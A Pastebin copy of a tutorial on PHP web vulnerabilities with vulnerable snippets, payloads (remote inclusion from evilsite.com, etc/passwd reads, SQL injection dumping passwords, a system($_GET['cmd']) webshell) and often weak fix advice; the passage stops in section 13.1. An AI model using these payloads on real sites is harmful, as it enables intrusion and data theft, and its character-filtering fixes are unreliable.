Advertisement
Guest User

Untitled

a guest
Sep 13th, 2016
1,673
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.98 KB | None | 0 0
  1. vulnerabilities in PHP scripts FULL ( with examples )
  2. Author : SirGod
  3. Email : sirgod08@gmail.com
  4. Contents :
  5.  
  6. 1) About
  7. 2) Some stuff
  8. 3) Remote File Inclusion
  9. 3.0 - Basic example
  10. 3.1 - Simple example
  11. 3.2 - How to fix
  12. 4) Local File Inclusion
  13. 4.0 - Basic example
  14. 4.1 - Simple example
  15. 4.2 - How to fix
  16. 5) Local File Disclosure/Download
  17. 5.0 - Basic example
  18. 5.1 - Simple example
  19. 5.2 - How to fix
  20. 6) SQL Injection
  21. 6.0 - Basic example
  22. 6.1 - Simple example
  23. 6.2 - SQL Login Bypass
  24. 6.3 - How to fix
  25. 7) Insecure Cookie Handling
  26. 7.0 - Basic example
  27. 7.1 - Simple example
  28. 7.2 - How to fix
  29. 8) Remote Command Execution
  30. 8.0 - Basic example
  31. 8.1 - Simple example
  32. 8.2 - Advanced example
  33. 8.3 - How to fix
  34. 9) Remote Code Execution
  35. 9.0 - Basic example
  36. 9.1 - Simple example
  37. 9.2 - How to fix
  38. 10) Cross-Site Scripting
  39. 10.0 - Basic example
  40. 10.1 - Another example
  41. 10.2 - Simple example
  42. 10.3 - How to fix
  43. 11) Authentication Bypass
  44. 11.0 - Basic example
  45. 11.1 - Via login variable
  46. 11.2 - Unprotected Admin CP
  47. 11.3 - How to fix
  48. 12) Insecure Permissions
  49. 12.0 - Basic example
  50. 12.1 - Read the users/passwords
  51. 12.2 - Download backups
  52. 12.3 - INC files
  53. 12.4 - How to fix
  54. 13) Cross Site Request Forgery
  55. 13.0 - Basic example
  56. 13.1 - Simple example
  57. 13.2 - How to fix
  58. 14) Shoutz
  59.  
  60.  
  61. 1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain
  62. how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the
  63. examples without the basic example of each category was founded in different scripts.
  64.  
  65.  
  66. 2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin.
  67. You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions
  68. to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what
  69. configuration I use and why :
  70.  
  71. safe_mode = off ( a lot of shit cannot be done with this on )
  72. disabled_functions = N/A ( no one,we want all )
  73. register_globals = on ( we can set variables by request )
  74. allow_url_include = on ( for lfi/rfi )
  75. allow_url_fopen = on ( for lfi/rfi )
  76. magic_quotes_gpc = off ( this will escape ' " \ and NUL's with a backslash and we don't want that )
  77. short_tag_open = on ( some scripts are using short tags,better on )
  78. file_uploads = on ( we want to upload )
  79. display_errors = on ( we want to see the script errors,maybe some undeclared variables? )
  80.  
  81. How to proceed : First,create a database to be used by different scripts.Install the script on
  82. localhost and start the audit over the source code.If you found something open the web browser and
  83. test it,maybe you are wrong.
  84.  
  85.  
  86. 3) Remote File Inclusion
  87.  
  88.  
  89. - Tips : You can use the NULLBYTE and ? trick.
  90. You can use HTTPS and FTP to bypass filters ( http filtered )
  91.  
  92.  
  93. In PHP is 4 functions through you can include code.
  94.  
  95. require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.
  96. require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.
  97. include - includes and evaluates the specified file.
  98. include_once - includes and evaluates the specified file during the execution of the script.
  99.  
  100.  
  101. 3.0 - Basic example
  102.  
  103.  
  104. - Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
  105. you can use "https" or "ftp".
  106.  
  107. - Code snippet from test.php
  108.  
  109. -----------------------------------------------
  110. <?php
  111. $pagina=$_GET['pagina'];
  112. include $pagina;
  113. ?>
  114. -----------------------------------------------
  115.  
  116. - If we access the page we got some errors and some warnings( not pasted ) :
  117.  
  118. Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2
  119.  
  120. - We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example :
  121.  
  122. http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
  123.  
  124. Now I will show why some people use ? and %00 after the link to the evil script.
  125.  
  126. # The "%00"
  127.  
  128. - Code snippet from test.php
  129.  
  130. -----------------------------------------------
  131. <?php
  132. $pagina=$_GET['pagina'];
  133. include $pagina.'.php';
  134. ?>
  135. -----------------------------------------------
  136.  
  137. - So if we will request
  138.  
  139. http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
  140.  
  141. Will not work because the script will try to include http://evilsite.com/evilscript.txt.php
  142.  
  143. So we will add a NULLBYTE ( %00 ) and all the shit after nullbyte will not be taken in
  144. consideration.Example :
  145.  
  146. http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00
  147.  
  148. The script will successfully include our evilscript and will throw to junk the things
  149. after the nullbyte.
  150.  
  151. # The "?"
  152.  
  153. - Code snippet from test.php
  154.  
  155. -----------------------------------------------
  156. <?php
  157. $pagina=$_GET['pagina'];
  158. include $pagina.'logged=1';
  159. ?>
  160. -----------------------------------------------
  161.  
  162. And the logged=1 will become like a variable.But better use nullbyte.Example :
  163.  
  164. http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
  165.  
  166. The evilscript will be included succesfully.
  167.  
  168.  
  169. 3.1 - Simple example
  170.  
  171.  
  172. Now an example from a script.
  173.  
  174. - Code snippet from index.php
  175.  
  176. ----------------------------------------------------
  177. if (isset($_REQUEST["main_content"])){
  178. $main_content = $_REQUEST["main_content"];
  179. } else if (isset($_SESSION["main_content"])){
  180. $main_content = $_SESSION["main_content"];
  181. }
  182. .......................etc..................
  183. ob_start();
  184. require_once($main_content);
  185. ----------------------------------------------------
  186.  
  187. We can see that "main_content" variable is requested by $_REQUEST method.The attacker can
  188. set any value that he want. Below the "main_content" variable is include.So if we make the
  189. following request :
  190.  
  191. http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt
  192.  
  193. Our evil script will be successfully included.
  194.  
  195.  
  196. 3.2 - How to fix
  197.  
  198.  
  199. Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
  200. Another way : filter "http" , "https" , "ftp" and "smb".
  201.  
  202.  
  203. 4) Local File Inclusion
  204.  
  205.  
  206. - Tips : You can use the NULLBYTE and ? trick.
  207. ../ mean a directory up
  208. On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" ( urlencoded ).
  209.  
  210. The same functions which let you to include (include,include_once,require,require_once) .
  211.  
  212.  
  213. 4.0 - Basic example
  214.  
  215.  
  216. - Code snippet from test.php
  217.  
  218. -----------------------------------
  219. <?php
  220. $pagina=$_GET['pagina'];
  221. include '/pages/'.$pagina;
  222. ?>
  223. -----------------------------------
  224.  
  225. Now,we can not include our script because we can not include remote files.We can include only
  226. local files as you see.So if we make the following request :
  227.  
  228. http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
  229.  
  230. The script will include "/pages/../../../../../../etc/passwd" successfully.
  231.  
  232. You can use the %00 and ? .The same story.
  233.  
  234.  
  235. 4.1 - Simple example
  236.  
  237.  
  238. - Code snippet from install/install.php
  239.  
  240. -------------------------------------
  241. if(empty($_GET["url"]))
  242. $url = 'step_welcome.php';
  243. else
  244. $url = $_GET["url"];
  245. .............etc.............
  246. <p><? include('step/'.$url) ?></p>
  247. -------------------------------------
  248.  
  249. We can see that "url" variable is injectable.If the "url" variable is not set
  250. (is empty) the script will include "step_welcome.php" else will include the
  251. variable set by the attacker.
  252.  
  253. So if we do the following request :
  254.  
  255. http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd
  256.  
  257. The "etc/passwd" file will be succesfully included.
  258.  
  259.  
  260. 4.2 - How to fix
  261.  
  262.  
  263. Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
  264. Another way : Filter "/" , "\" and "." .
  265.  
  266.  
  267. 5) Local File Disclosure/Download
  268.  
  269.  
  270. - Tips : Through this vulnerability you can read the content of files,not include.
  271.  
  272. Some functions which let you to read files :
  273.  
  274. file_get_contents — Reads entire file into a string
  275. readfile — Outputs a file
  276. file — Reads entire file into an array
  277. fopen — Opens file or URL
  278. highlight_file — Syntax highlighting of a file.Prints out or returns a syntax
  279. highlighted version of the code contained in filename using the
  280. colors defined in the built-in syntax highlighter for PHP.
  281. show_source — Alias of highlight_file()
  282.  
  283.  
  284. 5.0 - Basic example
  285.  
  286.  
  287. - Code snippet from test.php
  288.  
  289. --------------------------------------
  290. <?php
  291. $pagina=$_GET['pagina'];
  292. readfile($pagina);
  293. ?>
  294. --------------------------------------
  295.  
  296. The readfile() function will read the content of the specified file.So if we do the following request :
  297.  
  298. http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
  299.  
  300. The content of etc/passwd will be outputed NOT included.
  301.  
  302.  
  303. 5.1 - Simple example
  304.  
  305.  
  306. - Code snippet from download.php
  307.  
  308. -----------------------------------------------------------------------------------
  309. $file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
  310. header("Pragma: public");
  311. header("Expires: 0");
  312. header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
  313.  
  314. header("Content-Type: application/force-download");
  315. header( "Content-Disposition: attachment; filename=".basename($file));
  316.  
  317. //header( "Content-Description: File Transfer");
  318. @readfile($file);
  319. die();
  320. -----------------------------------------------------------------------------------
  321.  
  322. The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.
  323. And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.
  324. If we make the following request :
  325.  
  326. http://127.0.0.1/download.php?file=../../../../../../etc/passwd
  327.  
  328. So we can succesfully read the "etc/passwd" file.
  329.  
  330.  
  331. 5.2 - How to fix
  332.  
  333.  
  334. Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
  335. Another way : Filter "/" , "\" and "." .
  336.  
  337.  
  338. 6) SQL Injection
  339.  
  340.  
  341. - Tips : If the user have file privileges you can read files.
  342. If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
  343. you can upload you code into a file.
  344.  
  345.  
  346. 6.0 - Basic example
  347.  
  348.  
  349. - Code snippet from test.php
  350.  
  351. ----------------------------------------------------------------------------------
  352. <?php
  353. $id = $_GET['id'];
  354. $result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
  355. ?>
  356. ----------------------------------------------------------------------------------
  357.  
  358. The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :
  359.  
  360. http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--
  361.  
  362. And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have
  363. file privileges.
  364.  
  365.  
  366. 6.1 - Simple example
  367.  
  368.  
  369. - Code snippet from house/listing_view.php
  370.  
  371. -----------------------------------------------------------------------------------------------------------------------------
  372. $id = $_GET['itemnr'];
  373. require_once($home."mysqlinfo.php");
  374. $query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
  375. $result = mysql_query($query);
  376. if(mysql_num_rows($result)){
  377. $r = mysql_fetch_array($result);
  378. -----------------------------------------------------------------------------------------------------------------------------
  379.  
  380. We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
  381. So we can inject our code.Lets make a request :
  382.  
  383. http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--
  384.  
  385. And we get the email and the password from the users table.
  386.  
  387.  
  388. 6.2 - SQL Injection Login Bypass
  389.  
  390.  
  391. - Code snippet from /admin/login.php
  392.  
  393. ------------------------------------------------------------------------------------------------------------------------------
  394. $postbruger = $_POST['username'];
  395. $postpass = md5($_POST['password']);
  396. $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
  397. or die("<p>" . mysql_error() . "</p>\n");
  398. ------------------------------------------------------------------------------------------------------------------------------
  399.  
  400. The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :
  401.  
  402. username : admin ' or ' 1=1
  403. password : sirgod
  404.  
  405. We logged in.Why?Look,the code will become
  406.  
  407. ---------------------------------------------------------------------------------------------------------------------------------
  408. $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'")
  409. ---------------------------------------------------------------------------------------------------------------------------------
  410.  
  411. Login bypassed.The username must be an existent username.
  412.  
  413.  
  414. 6.3 - How to fix
  415.  
  416.  
  417. Simple way : Don't allow special chars in variables.For numeric variables
  418. use (int) ,example $id=(int)$_GET['id'];
  419. Another way : For non-numeric variables : filter all special chars used in
  420. SQLI : - , . ( ) ' " _ + / *
  421.  
  422.  
  423. 7) Insecure Cooke Handling
  424.  
  425.  
  426. - Tips : Write the code in the URLbar,don't use a cookie editor for this.
  427.  
  428.  
  429. 7.0 - Basic example
  430.  
  431.  
  432. - Code snippet from test.php
  433.  
  434. ---------------------------------------------------------------
  435. if($_POST['password'] == $thepass) {
  436. setcookie("is_user_logged","1");
  437. } else { die("Login failed!"); }
  438. ............ etc .................
  439. if($_COOKIE['is_user_logged']=="1")
  440. { include "admin.php"; else { die('not logged'); }
  441. ---------------------------------------------------------------
  442.  
  443. Something interesting here.If we set to the "is_user_logged" variable
  444. from cookie value "1" we are logged in.Example :
  445.  
  446. javascript:document.cookie = "is_user_logged=1; path=/";
  447.  
  448. So practically we are logged in,we pass the check and we can access the admin panel.
  449.  
  450.  
  451. 7.1 - Simple example
  452.  
  453.  
  454. - Code snippet from admin.php
  455.  
  456. ----------------------------------------------------------------
  457. if ($_COOKIE[PHPMYBCAdmin] == '') {
  458. if (!$_POST[login] == 'login') {
  459. die("Please Login:<BR><form method=post><input type=password
  460. name=password><input type=hidden value=login name=login><input
  461. type=submit></form>");
  462. } elseif($_POST[password] == $bcadminpass) {
  463. setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
  464. header("Location: admin.php"); } else { die("Incorrect"); }
  465. }
  466. ----------------------------------------------------------------
  467.  
  468. Code looks exploitable.We can set a cookie value that let us to bypass the login
  469. and tell to the script that we are already logged in.Example :
  470.  
  471. javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";
  472.  
  473. What is 1246371700? Is the current time() echo'ed + 360.
  474.  
  475.  
  476. 7.2 - How to fix
  477.  
  478.  
  479. Simple way : The most simple and eficient way : use SESSIONS .
  480.  
  481.  
  482. 8) Remote Command Execution
  483.  
  484.  
  485. - Tips : If in script is used exec() you can't see the command output(but the command is executed)
  486. until the result isn't echo'ed from script.
  487. You can use AND operator ( || ) if the script execute more than one command .
  488.  
  489. In PHP are some functions that let you to execute commands :
  490.  
  491. exec — Execute an external program
  492. passthru — Execute an external program and display raw output
  493. shell_exec — Execute command via shell and return the complete output as a string
  494. system — Execute an external program and display the output
  495.  
  496.  
  497. 8.0 - Basic example
  498.  
  499. - Code snippet from test.php
  500.  
  501. ---------------------------------
  502. <?php
  503. $cmd=$_GET['cmd'];
  504. system($cmd);
  505. ?>
  506. ---------------------------------
  507.  
  508. So if we make the following request :
  509.  
  510. http://127.0.0.1/test.php?cmd=whoami
  511.  
  512. The command will be executed and the result will be outputed.
  513.  
  514.  
  515. 8.1 - Simple example
  516.  
  517.  
  518. - Code snippet from dig.php
  519.  
  520. -------------------------------------------------------------------------------------------
  521. $status = $_GET['status'];
  522. $ns = $_GET['ns'];
  523. $host = $_GET['host'];
  524. $query_type = $_GET['query_type']; // ANY, MX, A , etc.
  525. $ip = $_SERVER['REMOTE_ADDR'];
  526. $self = $_SERVER['PHP_SELF'];
  527. ........................ etc ........................
  528. $host = trim($host);
  529. $host = strtolower($host);
  530. echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
  531. echo '<pre>';
  532. system ("dig @$ns $host $query_type");
  533. -------------------------------------------------------------------------------------------
  534.  
  535. The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command
  536. that he want through this variable.
  537.  
  538. Lets make a request :
  539.  
  540. http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
  541.  
  542. The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and
  543. will not work of course.Lets do something a little bit tricky.We have the AND operator
  544. ( || ) and we will use it to separe the commands.Example :
  545.  
  546. http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
  547.  
  548. Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".
  549.  
  550.  
  551. 8.2 - Advanced example
  552.  
  553.  
  554. - Code snippet from add_reg.php
  555.  
  556. -------------------------------------------------------
  557. $user = $_POST['user'];
  558. $pass1 = $_POST['pass1'];
  559. $pass2 = $_POST['pass2'];
  560. $email1 = $_POST['email1'];
  561. $email2 = $_POST['email2'];
  562. $location = $_POST['location'];
  563. $url = $_POST['url'];
  564. $filename = "./sites/".$user.".php";
  565. ...................etc......................
  566. $html = "<?php
  567. \$regdate = \"$date\";
  568. \$user = \"$user\";
  569. \$pass = \"$pass1\";
  570. \$email = \"$email1\";
  571. \$location = \"$location\";
  572. \$url = \"$url\";
  573. ?>";
  574. $fp = fopen($filename, 'a+');
  575. fputs($fp, $html) or die("Could not open file!");
  576. -------------------------------------------------------
  577.  
  578. We can see that the script creates a php file in "sites" directory( ourusername.php ).
  579. The script save all the user data in that file so we can inject our evil code into one
  580. field,I choose the "location" variable.
  581.  
  582. So if we register as an user with the location (set the "location" value) :
  583.  
  584. <?php system($_GET['cmd']); ?>
  585.  
  586. the code inside sites/ourusername.php will become :
  587.  
  588. -------------------------------------------------
  589. <?php
  590. $regdate = "13 June 2009, 4:16 PM";
  591. $user = "pwned";
  592. $pass = "pwned";
  593. $email = "pwned@yahoo.com";
  594. $location = "<?php system($_GET['cmd']); ?>";
  595. $url = "http://google.ro";
  596. ?>
  597. -------------------------------------------------
  598.  
  599. So we will get an parse error.Not good.We must inject a proper code to get the result that we want.
  600.  
  601. Lets inject this code :
  602.  
  603. \";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D
  604.  
  605. So the code inside sites/ourusername.php will become :
  606.  
  607. --------------------------------------------------------------
  608. <?php
  609. $regdate = "13 June 2009, 4:16 PM";
  610. $user = "pwned";
  611. $pass = "pwned";
  612. $email = "pwned@yahoo.com";
  613. $location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
  614. $url = "http://google.ro";
  615. ?>
  616. --------------------------------------------------------------
  617.  
  618. and we will have no error.Why?See the code :
  619.  
  620. $location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
  621.  
  622. Lets split it :
  623.  
  624. -------------------------------
  625. $location = "";
  626. ?>
  627. <?php system($_GET['cmd']);?>
  628. <?php $xxx=":D";
  629. -------------------------------
  630.  
  631. We set the location value to "",close the first php tags,open the tags
  632. again,wrote our evil code,close the tags and open other and add a variable
  633. "xxx" because we dont want any error.I wrote that code because I want no
  634. error,can be modified to be small but will give some errors(will not
  635. stop us to execute commands but looks ugly).
  636.  
  637. So if we make the following request :
  638.  
  639. http://127.0.0.1/sites/ourusername.php?cmd=whoami
  640.  
  641. And our command will be succesfully executed.
  642.  
  643.  
  644. 8.3 - How to fix
  645.  
  646.  
  647. Simple way : Don't allow user input .
  648. Another way : Use escapeshellarg() and escapeshellcmd() functions .
  649. Example : $cmd=escapeshellarg($_GET'cmd']);
  650.  
  651.  
  652. 9) Remote Code Execution
  653.  
  654.  
  655. - Tips : You must inject valid PHP code including terminating statements ( ; ) .
  656.  
  657.  
  658. 9.0 - Basic example
  659.  
  660.  
  661. - Code snippet from test.php
  662.  
  663. -----------------------------------
  664. <?php
  665. $code=$_GET['code'];
  666. eval($code);
  667. ?>
  668. -----------------------------------
  669.  
  670. The "eval" function evaluate a string as PHP code.So in this case we are able to execute
  671. our PHP code.Examples :
  672.  
  673. http://127.0.0.1/test.php?code=phpinfo();
  674. http://127.0.0.1/test.php?code=system(whoami);
  675.  
  676. And we will see the output of the PHP code injected by us.
  677.  
  678.  
  679. 9.1 - Simple example
  680.  
  681.  
  682. - Code snippet from system/services/init.php
  683.  
  684. ------------------------------------------------
  685. $conf = array_merge($conf,$confweb);
  686. }
  687. @eval(stripslashes($_REQUEST['anticode']));
  688. if ( $_SERVER['HTTP_CLIENT_IP'] )
  689. ------------------------------------------------
  690.  
  691. We see that the "anticode" is requested by $_REQUEST method and the coder
  692. "secured" the input with "stripslashes" which is useless here,we don't need
  693. slashes to execute our php code only if we want to include a URL.So we can
  694. inject our PHP code.Example :
  695.  
  696. http://127.0.0.1/test.php?anticode=phpinfo();
  697.  
  698. Great,injection done,phpinfo() result printed.No include because slashes are
  699. removed,but we can use system() or another function to execute commands.
  700.  
  701.  
  702. 9.2 - How to fix
  703.  
  704.  
  705. Simple way : Don't allow ";" and the PHP code will be invalid.
  706. Another way : Don't allow any special char like "(" or ")" etc.
  707.  
  708.  
  709. 10) Cross-Site Scripting
  710.  
  711.  
  712. - Tips : You can use alot of vectors,can try alot of bypass methods,you cand
  713. find them around the web.
  714.  
  715.  
  716. 10.0 - Basic example
  717.  
  718.  
  719. - Code snippet from test.php
  720.  
  721. ---------------------------------
  722. <?php
  723. $name=$_GET['name'];
  724. print $name;
  725. ?>
  726. ---------------------------------
  727.  
  728. The input is not filtered,an attacker can inject JavaScript code.Example :
  729.  
  730. http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
  731.  
  732. A popup with XSS message will be displayed.JavaScript code succesfully executed.
  733.  
  734.  
  735. 10.1 - Another example
  736.  
  737.  
  738. - Code snippet from test.php
  739.  
  740. -------------------------------------------
  741. <?php
  742. $name=addslashes($_GET['name']);
  743. print '<table name="'.$name.'"></table>';
  744. ?>
  745. -------------------------------------------
  746.  
  747. Not an advanced example,only a bit complicated.
  748.  
  749. http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>
  750.  
  751. Why this vector?We put " because we must close the " from the "name" atribut
  752. of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because
  753. we want to bypass addslashes() function.Injection done.
  754.  
  755.  
  756. 10.2 - Simple example
  757.  
  758.  
  759. - Code snippet from modules.php
  760.  
  761. ---------------------------------------------------------------------------
  762. if (isset($name)) {
  763. .................... etc................
  764. } else {
  765. die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
  766. ---------------------------------------------------------------------------
  767.  
  768. The "name" variable is injectable,input is not filtered,so we can inject
  769. with ease JavaScript code.Example :
  770.  
  771. http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
  772.  
  773.  
  774. 10.3 - How to fix
  775.  
  776.  
  777. Simple way : Use htmlentities() or htmlspecialchars() functions.
  778. Example : $name=htmlentities($_GET['name']);
  779. Another way : Filter all special chars used for XSS ( a lot ).
  780. The best way is the first method.
  781.  
  782.  
  783. 11) Authentication Bypass
  784.  
  785.  
  786. - Tips : Look deep in the scripts,look in the admin directories,
  787. maybe are not protected,also look for undefined variables
  788. like "login" or "auth".
  789.  
  790.  
  791. 11.0 - Basic example
  792.  
  793.  
  794. I will provide a simple example of authentication bypass
  795. via login variable.
  796.  
  797. - Code snippet from test.php
  798.  
  799. ---------------------------------
  800. <?php
  801. if ($logged==true) {
  802. echo 'Logged in.'; }
  803. else {
  804. print 'Not logged in.';
  805. }
  806. ?>
  807. ---------------------------------
  808.  
  809. Here we need register_gloabals = on . I will talk about php.ini
  810. settings a bit later in this tutorial.If we set the value of $logged
  811. variable to 1 the if condition will be true and we are logged in.
  812. Example :
  813.  
  814. http://127.0.0.1/test/php?logged=1
  815.  
  816. And we are logged in.
  817.  
  818.  
  819. 11.1 - Via login variable
  820.  
  821.  
  822. - Code snippet from login.php
  823.  
  824. ------------------------------------------------------------------------------------
  825. if ($login_ok)
  826. {
  827. $_SESSION['loggato'] = true;
  828. echo "<p>$txt_pass_ok</p>";
  829. echo"<div align='center'><a href='index.php'>$txt_view_entry</a> |
  830. <a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install
  831. </a></div>";
  832. }
  833. ------------------------------------------------------------------------------------
  834.  
  835. Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who
  836. tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
  837. Example :
  838.  
  839. http://127.0.0.1/login.php?login_ok=1
  840.  
  841. Now we are logged in.
  842.  
  843.  
  844. 11.2 - Unprotected Admin CP
  845.  
  846.  
  847. You couln't belive this but some PHP scrips don't protect the admin
  848. control panel : no login,no .htaccess,nothing.So we simply we go to
  849. the admin panel directory and we take the control of the website.
  850. Example :
  851.  
  852. http://127.0.0.1/admin/files.php
  853.  
  854. We accessed the admin panel with a simple request.
  855.  
  856.  
  857. 11.3 - How to fix
  858.  
  859.  
  860. - Login variable bypass : Use a REAL authentication system,don't check the
  861. login like that,use SESSION verification.Example :
  862.  
  863. if($_SESSION['logged']==1) {
  864. echo 'Logged in'; }
  865. else { echo 'Not logged in';
  866. }
  867.  
  868. - Unprotected Admin CP : Use an authentication system or use .htaccess to
  869. allow access from specific IP's or .htpasswd to
  870. request an username and a password for admin CP.
  871. Example :
  872.  
  873. .htaccess :
  874.  
  875. order deny, allow
  876. deny from all
  877. allow from 127.0.0.1
  878.  
  879. .htpasswd :
  880.  
  881. AuthUserFile /the/path/.htpasswd
  882. AuthType Basic
  883. AuthName "Admin CP"
  884. Require valid-user
  885.  
  886. and /the/path/.htpasswd
  887.  
  888. sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.
  889.  
  890.  
  891. 12) Insecure Permissions
  892.  
  893.  
  894. Tips : Look deep into the files,look if the script request to be
  895. logged in to do something,maybe the script don't request.
  896. Watch out for insecure permissions,maybe you can do admin
  897. things without login.
  898.  
  899.  
  900. 12.0 - Basic example
  901.  
  902.  
  903. We are thinking at a script who let the admin to have a lookup in
  904. the users database through a file placed in /admin directory.That
  905. file is named...hmmm : db_lookup.php.
  906.  
  907. - Code snippet from admin/db_lookup.php
  908.  
  909. --------------------------------------------
  910. <?php
  911. // Lookup in the database
  912. readfile('protected/usersdb.txt');
  913. ?>
  914. --------------------------------------------
  915.  
  916. Lets think.We cannot access the "protected" directory because
  917. is .htaccess'ed.But look at this file,no logged-in check,nothing.
  918. So if we acces :
  919.  
  920. http://127.0.0.1/admin/db_lookup.php
  921.  
  922. We can see the database.Remember,this is only an example created by
  923. me,not a real one,you can find this kind of vulnerabilities in scripts.
  924.  
  925.  
  926. 12.1 - Read the users/passwords
  927.  
  928.  
  929. Oh yeah,some coders are so stupid.They save the usernames and passwords
  930. in text files,UNPROTECTED.A simple example from a script :
  931.  
  932. http://127.0.0.1/userpwd.txt
  933.  
  934. And we read the file,the usernames and passwords are there.
  935.  
  936.  
  937. 12.2 - Download Backups
  938.  
  939.  
  940. Some scripts have database backup functions,some are safe,some are not safe.
  941. I will show you a real script example :
  942.  
  943. - Code snippet from /adminpanel/phpmydump.php
  944.  
  945. --------------------------------------------------------------------------------
  946. function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
  947. $con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");
  948. $db=@mysql_select_db($dbname,$con) or die("Could not select db");
  949. .............................. etc ..........................
  950. mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
  951. --------------------------------------------------------------------------------
  952.  
  953. After a lof of code the function is called.I don't pasted the entire code
  954. because is huge.I analyzed the script,no login required,no check,nothing.So
  955. if we access the file directly the download of the backup will start.Example :
  956.  
  957. http://127.0.0.1/adminpanel/phpmydump.php
  958.  
  959. Now we have the database backup saved in our computer.
  960.  
  961.  
  962. 12.3 - INC files
  963.  
  964.  
  965. Some scripts saves important data in INC files.Usually in INC files is PHP
  966. code containing database configuration.The INC files can be viewed in
  967. browser even they contain PHP code.So a simple request will be enough to
  968. access and read the file.Example :
  969.  
  970. http://127.0.0.1/inc/mysql.inc
  971.  
  972. Now we have the database connection details.Look deep in scripts,is more
  973. scripts who saves important data into INC files.
  974.  
  975.  
  976. 12.4 - How to fix
  977.  
  978.  
  979. - Basic example : Check if the admin is logged in,if not,redirect.
  980.  
  981. - Read the users/passwords : Save the records in a MySQL database
  982. or in a protected file/directory.
  983.  
  984. - Download Backups : Check if the admin is logged in,if not,redirect.
  985.  
  986. - INC files : Save the configuration in proper files,like .php or
  987. protect the directory with an .htaccess file.
  988.  
  989.  
  990. 13) Cross Site Request Forgery
  991.  
  992.  
  993. - Tips : Through CSRF you can change the admin password,is not
  994. so inofensive.
  995. Can be used with XSS,redirected from XSS.
  996.  
  997.  
  998. 13.0 - Basic example
  999.  
  1000.  
  1001. - Code snippet from test.php
  1002.  
  1003. -----------------------------------------
  1004. <?php
  1005. check_auth();
  1006. if(isset($_GET['news']))
  1007. { unlink('files/news'.$news.'.txt'); }
  1008. else {
  1009. die('File not deleted'); }
  1010. ?>
  1011. -----------------------------------------
  1012.  
  1013. In this example you will see what is CSRF and how it works.In the "files"
  1014. directory are saved the news written by the author.The news are saved like
  1015. "news1.txt","news2.txt" etc. So the admin can delete the news.The news that
  1016. he want to delete will be specified in "news" variable.If he want to delete
  1017. the news1.txt the value of "news" will be "1".We cannot execute this without
  1018. admin permissions,look,the script check if we are logged in.
  1019. I will show you an example.If we request :
  1020.  
  1021. http://127.0.0.1/test.php?news=1
  1022.  
  1023. The /news/news1.txt file will be deleted.The script directly delete the file
  1024. without any notice.So we can use this to delete a file.All we need is to trick
  1025. the admin to click our evil link and the file specified by us in the "news"
  1026. variable will be deleted.
  1027.  
  1028.  
  1029. 13.1 - Simple example
  1030.  
  1031.  
  1032. In a way the codes below are included in the index.php file ,I
  1033. will not paste all the includes,there are a lot.
  1034.  
